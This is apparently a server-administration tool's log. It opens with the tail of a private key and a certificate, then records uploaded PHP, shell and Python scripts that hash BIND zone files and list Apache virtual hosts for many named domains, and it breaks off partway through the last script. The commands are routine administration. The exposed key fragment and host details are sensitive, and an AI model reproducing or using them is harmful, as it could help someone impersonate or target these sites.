yaImT+g4yvH0t1biIk3J6ECI5AE9tiIexLzMy14/LudpGweeV04EctckR7WZv69u
XPY7gx9GZWrKp4awiB/6KYmtspMFa0e4vFKGZkt63mA9vtC/8pjfCF26WmyevkTA
176fLF2F4Xa5cSou246Pxg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----





2025-08-26 15:48:52: Establishing a connection
2025-08-26 15:48:52: 

PUT: /tmp/pkp943413

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:48:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp943413; rm /tmp/pkp943413'

2025-08-26 15:48:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:49:59: Establishing a connection
2025-08-26 15:49:59: 

PUT: /tmp/pkp294184

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-26 15:50:00: 

chmod 755 /tmp/pkp294184; /tmp/pkp294184; rm /tmp/pkp294184

2025-08-26 15:50:00: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-26 15:50:00: 

PUT: /tmp/pkp458716

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_eggshell_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
